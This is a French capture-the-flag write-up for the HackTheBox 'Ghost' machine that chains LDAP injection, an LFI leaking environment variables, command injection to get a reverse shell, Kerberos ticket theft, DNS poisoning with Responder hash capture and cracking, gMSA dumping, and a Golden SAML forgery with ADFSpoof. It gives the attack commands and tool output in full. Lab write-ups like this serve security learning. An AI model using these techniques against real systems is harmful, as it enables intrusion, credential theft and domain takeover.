Flag utilisateur #
Première énumeration #
Let’s start with enumeration, I usually do
nmap -A 10.10.11.24 -oA scans/first_scan -vvv
sleep 1000; nmap -A -p- 10.10.11.24 -oA scans/full_scan -vvv
Prolégomènes :
- C’est un Windows avec les ports DC habituels ouverts (DNS, Kerberos, LDAP, NetBIOS…) avec le domaine
ghost. htb
- Il a un port MSSQL ouvert
- Il a aussi un port d’administration WinRM ouvert et un port RDP ouvert
- Les ports web 80 et 443 ne semblent pas très intéressants
- Mais les ports 8008 et 8443 semblent intéressants
- 8008 une application web utilisant
ghost
(une solution CMS analogue à wordpress) - 8443 un écran de connexion utilisant le domaine
ghost.htb
Nous ajoutons le domaine ghost.htb
dans notre /etc/hosts
:
10.10.11.24 ghost.htb
En lançant un rapide feroxbuster
, nous voyons qu’il y a beaucoup de chemins de fichiers valides, y compris :
http://ghost.htb:8008/ghost/#/signin
- Nous voyons aussi qu’un utilisateur s’appelle
kathryn
Sur le port HTTPS (TCP/8443
), nous obtenons une redirection vers https://federation.ghost.htb/adfs/ls/?SAMLRequest=...
Nous nous tournons vers le DNS :
- Aucun transfert de zone à utiliser
- Mais la fédération semble pointer vers la même machine, alors ajoutons-la dans le
/etc/hosts
: - Énumération des sous-domaines à l’aide du DNS :
dnsenum --dnsserver 10.10.11.24 --enum -p 0 -s 0 -o scans/dns_enumeration.txt -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt ghost.htb
Nous pouvons voir que les sous-domaines intranet
et os
existent en vhosts :
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.24:8008 -H 'Host: FUZZ.ghost.htb' -ac
Reconnaissance web #
Nous avons maintenant accès à la page de login “federation” (sur le port 443 avec HTTP Strict Transport Security) :
- Pas d’injection SQL évidente
- Essayons les injections LDAP puisqu’il est lié à l’AD, pas de chance non plus
Passage aux pages
Intranet
/os
: - La page
os.ghost.htb
pointe sur page 404 pourghost.htb
, rien d’intéressant - La page
intranet.ghost.htb
nous demande de nous connecter !
Contournement du LDAP et reconnaissance dans l’intranet #
User : *
, Password *
- Nous pouvons maintenant obtenir ces informations :
- Le nom d’utilisateur de
kathryn
est probablementkathryn.holland
, peut-être un compte valide sur l’AD - Il y a une instance Bitbucket à
bitbucket.ghost.htb
et il y avait une instance Gitea, intéressant ! - Les employés semblent très mal payés :) :
- Les autres noms d’utilisateur sont les suivants :
Username Full Name Member of kathryn.holland Kathryn Holland sysadmin cassandra.shelton Cassandra Shelton sysadmin robert.steeves Robert Steeves sysadmin florence.ramirez Florence Ramirez IT justin.bradley Justin Bradley IT, Remote Management Users arthur.boyd Arthur Boyd IT beth.clark Beth Clark HR charles.gray Charles Gray HR jason.taylor Jason Taylor HR intranet_principal Intranet Principal principal gitea_temp_principal Gitea_Temp Principal principal
- Le nom d’utilisateur de
Injection de mot de passe LDAP pour obtenir le mot de passe Gitea #
Nous voyons que Bitbucket ne semble pas encore être en place mais Gitea est toujours là, et nous savons qu’un login est gitea_temp_principal
et le mot de passe dans sa description. Nous devons donc l’obtenir en utilisant une injection LDAP pour valider chaque caractère un par un :
- On commence par créer une wordlist (LDAP est case insensitive donc pas besoin de majuscules) :
for i in range(10) :
print(i)
for i in string.ascii_lowercase :
print(i)
- On utilise la fonction intruder de Burp Suite :
- => 303 (donc un hit) sur le
s
: - Nous continuons ainsi jusqu’à ce que nous obtenions :
szrr8kpc3z6onlqf
. Un outil d’attaque automatisée qui aurait pu être utilisé serait ldapBrute
Exploit Gitea : LFI pour récupérer les variables d’environnement #
Maintenant que nous avons accès à Gitea, nous obtenons que :
- il y a des interactions entre l’intranet et le CMS (ghost) en utilisant la clef API
DEV_INTRANET_KEY
, stockée en tant que variable d’environnement. - Il y a une API avec la clef publique suivante :
a5af628828958c976a3b6cc81a
- Il y a du code ajouté à l’instance Gitea (très louche, on fait généralement ça dans les CTFs pour introduire une vulnérabilité) :
- Regardons le code :
- Cela ressemble à un LFI
- Nous essayons d’obtenir un fichier bien connu :
curl -H "Accept-Version : v5.0" "http://10.10.11.24:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../../../../etc/passwd" | jq
- Regardons le code :
proc/<pid>/environ
mais comme le PID du processus est inconnu, on peut utiliser /proc/self qui est un lien symbolique vers le répertoire du PID actuel.
Et on récupère la clef qui est !@yqr!X2kxmQ.@Xe
Abus d’API : obtenir un shell inversé #
Ok, on se recentre maintenant sur l’API intranet : http://intranet.ghost.htb/api-dev
Le seul fichier mentionnant X-DEV-INTRANET-KEY
est http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs, et il semble être utilisé pour le “nouvel” enpoint de l’API qui pourrait nous intéresser :
Il s’agit d’une requête post sur l’endpoint’ /scan
:
On dirait que c’est injectable :
Essayons avec une commande de base :
Essayons maintenant l’injection de commande
Super on récupère un reverse shell (je recommande d’utiliser rlwrap
)
Exploitation du ControlMaster SSH #
Une fois sur la machine, il semble que nous soyons la racine d’un conteneur docker exécutant l’intranet. Rien ne semble utile, à part ce fichier de démarrage dans /
:
Nous voyons maintenant qu’il existe un SSH multiplexing socket, ce qui est une bonne nouvelle pour nous 😁 Et nous savons que cette QoL peut également conduire à un session hijack. Controlpersist
spécifie le temps pendant lequel la connexion maître doit rester ouverte en arrière-plan, en attente d’une future connexion. Dans notre cas, le yes
permet à l’utilisateur de rester connecté pour toujours.
Pour ce faire on tappe :
python3 -c 'import pty; pty.spawn("/bin/bash")'
puis
Ctrl+Z
stty raw -echo
fg
[Enter]
[Enter]
Exfiltration d’un un ticket #
Nous trouvons un script de démarrage de docker adapté de https://github.com/fjudith/docker-samba-join-ad et commençons à chercher des choses intéressantes liées à AD :
Intéressant : on le récupère avec sur notre machine avec
cat /tmp/krb5cc_50 | base64 -w 0
echo -n "..." | base64 -d > ticket
On vérifie que le fichier est bien intègre :
Et voir si cela peut nous mener quelque part :
Empoisonner les DNS pour obtenir justin
.
#
Maintenant que nous avons un utilisateur, nous pouvons en profiter pour empoisonner les enregistrements DNS car un utilisateur du blog semble demander périodiquement une entrée DNS qui n’existe pas encore :
Il nous faut pour cela faire pointer les enregistrements du sous-domaine bitbucket
vers notre machine :
python dnstool.py -u "GHOST.HTB\florence.ramirez" -k -a add -r bitbucket.ghost.htb -d 10.10.16.64 dc01.ghost.htb -dns-ip 10.10.11.24 -t A
Nous lançons un répondeur et obtenons un résultat immédiat (logique, le script de Justin s’acharne sur une entrée inexistante):
sudo responder -w -v -I tun0
Et on le déchiffre avec hashcat
:
hashcat loots/AD/justin.bradley.hashes /usr/share/wordlists/rockyou.txt
Oui, les gars de HTB aiment vraiment beaucoup les keyboard walks 😂
On lance un bloodhound :
bloodhound-python -u 'justin.bradley' -p 'Qwertyuiop1234$$' -dc ghost.htb -ns 10.10.11.24 -d ghost.htb -c all --zip
Justin semble être un utilisateur “remote management” 🥳
Voila le premier flag ! :)
Second flag #
Exploitation des droits de justin
#
Bon, cet utilisateur dispose également d’un contrôle sortant au premier degré :
Nous pouvons exploiter cette possibilité en utilisant le gmsa dumping intégré de NXC.
Exploitation du compte GMSA pour forger un Golden SAML #
Nous pouvons nous winRM sur la machine et accéder aux dossiers auxquels nous n’avions pas accès auparavant 🥳
Nous pouvons également voir que nous ne sommes pas les premiers à venir ici 😂
Rien de plus d’intéressant avec cet utilisateur, mais nous avons maintenant accès à un compte de service de fédération. Voyons ce qu’est ADFS :
Active Directory Federation Service (AD FS) enables Federated Identity and Access Management by securely sharing digital identity and entitlements rights across security and enterprise boundaries. AD FS extends the ability to use single sign-on functionality that is available within a single security or enterprise boundary to Internet-facing applications to enable customers, partners, and suppliers a streamlined user experience while accessing the web-based applications of an organization.
Du coup “fédération” peut nous rappeller l’un des premiers sous-domaines que nous avons vus : federation.ghost.htb
, essayons de se connecter dessus avec justin.bradley@ghost.htb
et son mot de passe.
Nous obtenons une redirection vers https://core.ghost.htb:8443/adfs/saml/postResponse
. Nous voyons ici l’autre domaine AD que nous avons également vu sur bloodhound. Puisqu’il s’agit de machines uniques, essayons d’ajouter core.ghost.htb
dans /etc/hosts
.
Génial ! Il ne nous reste plus qu’à obtenir un compte Administrateur 😁
Puisque nous avons accès au compte adfs
, cherchons toute attaque qui pourrait y être liée. J’ai trouvé cette page qui parle en détail de l’attaque Golden SAML.
On commence par exécuter le binaire ADFSdump depuis la console evilWinRM et on obtient la sortie suivante :
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-] core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
Ça nous donne le PFX et la clef privée :
- Traitement du PFX
echo AAAAAQAAAAAEE[...]EUSTXxm | base64 -d > loots/adfs_gmsa/EncryptedPfx.bin
- Traitement de la clef (il faut prendre la deuxième clef de la sortie ci-dessus)
echo "8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" | tr -d "-"|xxd -r -p > loots/adfs_gmsa/dkmKey.bin
Nous installons ensuite [ADFSpoof] (https://github.com/mandiant/ADFSpoof). J’ai un peu bloqué sur cette partie car ni python 3.13 ni 3.12 ne fonctionnaient au niveau des dépendances. J’ai donc utilisé uv pour créer un venv mais avec une version spécifique de python :
git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
uv venv --python 3.11 # install uv with `curl -LsSf https://astral.sh/uv/install.sh | sh`
source .venv/bin/activate
uv pip install -r requirements.txt
Maintenant, utilisons l’outil avec les arguments suivants :
-b
Les deux blobsEncryptedPfx.bin
etdkmKey.bin
-s
Le FQDN du serveur. Au début, je pensais que c’était lefederation.ghost.htb
vers laquelle nous étions redirigés, mais c’est en fait lecore.ghost.htb
--endpoint
C’est l’endpoint sur lequel nous voulons utiliser le jeton de sécurité. Nous pouvons le voir en regardant les requêtes :- Ici nous pouvons voir que la page de fédération redirige vers un endpoint
/adfs/saml/postResponse
qui nous conduit ensuite à un forbidden parce que Justin n’est pas assez privilégié.
- Ici nous pouvons voir que la page de fédération redirige vers un endpoint
--nameidFormat
est le format que nous avons utilisé pour nous connecter. Voici une page qui le documente : https://docs.identityserver.com/saml2p/config-idp/configuring-nameId/- J’ai utilisé
transient
et cela s’est reflété dans le paramètrenameid
. Mais comme nous nous sommes connectés avec l’email, je suppose que cela devrait fonctionner avecformat:emailAddress
et lenameid
commeAdminsitrator@...
- J’ai utilisé
--nameid
est dans notre cas le User Principal Name de l’utilisateur (i.e.. DOMAIN\User)--rpidentifier
D’après ce que j’ai compris, il s’agit également de l’URL du service, mais cela peut être plus compliqué que cela- Assertions
- Ces données proviennent de la requête
/postResponse
lors du décodage de la réponse base64 en remplaçantjustin
parAdministrator
- Le
claims/upn
contient le nom principal de l’utilisateur et leclaims/CommonName
contient le nom exact.
- Ces données proviennent de la requête
python ADFSpoof.py -b ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/EncryptedPfx.bin ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST.HTB\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
On rejoue la requête de demande de connexion avec le jeton falsifié afin d’obtenir un cookie de session :
- Token :
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfSlRFUzI5IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNS4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfODIyVFAxIiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDQtMDRUMjE6MjU6MjUuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9mZWRlcmF0aW9uLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzgyMlRQMSI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjk0RE1XSC9vUDhHOWdYNDk0OWFMUTBtVFJZbG12cW9zanM5bGIxdTFCSGc9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmQwT291VUpiMERneTdtNGJ4emR4NXd3VUp5MWJVSUtPVUlSN3pQSUxieHI4eTAydlRYcjV2R2xWTGtVbm80SDNPdE1VOERtUmx1TWpQODRYVTUzMEdxTzRaa20xVWVzdXdGUzFDR0hFVU1jeC9ZVEJSQk9VWnpyeFBsZnd2c3hrMnFOWTU3SXdrQUNnb2xOYVNqWk03d25TWlZGRFBjNWpwelFURG5pN1pkNGpXU29xN29VeVdyOU8vY0tjNlR5U2hRYWdDbjZtMGF2QlJURUdBa1JRQWxsUDd1OU5CWXNwRjVjcHFQZjEvNXlYQU9TeGVtOFlWdEdoTTFHdTJQTkd3KzRuTWV5MmZIR0Fhd0RRYVlJM1RkNzBvMnVJRitReENlcVlxT1k3ZGNtdG1EajNxbVZVZ0pUU1VmTlJ3eEo1aWE3MjNTZG9OOEYvSlJMblRPRmFmVmJwNTRUTWxLVE5lcnpKL2U1bUxwbVBzZm1JWFJoZG05cTlKN1F3SUNRTEpsZUVnRkVVeGhuOHBIYWVLams1Z094VUZKVzdQQS9ESDlwR25OSkZLU3ltb1hBQytXeXNheTNKQ2tvNjhBaGUvVjE5U09ZL0xscGI1VldndlYwR2hHUjV6YTVQbTVSU05uZGRzczczdTVSS2VaRlZuS21GK3dCeDdXR0MwWEEzWHlSUkxUeFdYem13cVR4dXFHenVDa2NrRXgzaXNwcEFkSHc3azB1NjFOQnJxUC9CZnprTUx3WktBdnNGTHlTek1jZTBkM2dXbHhZWkNzUjBGcnJpcDBVQ3FES2tFbjUybWtWNWpKZitOZzJ4OGpuYUZlVUROWVJvT2Rrb0g1dFVPeUlsV0RIcnppZUU2cU9rWk5IZnlmQmExUk5HZFBvUENSZHZaN04wSDB3PTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2Vy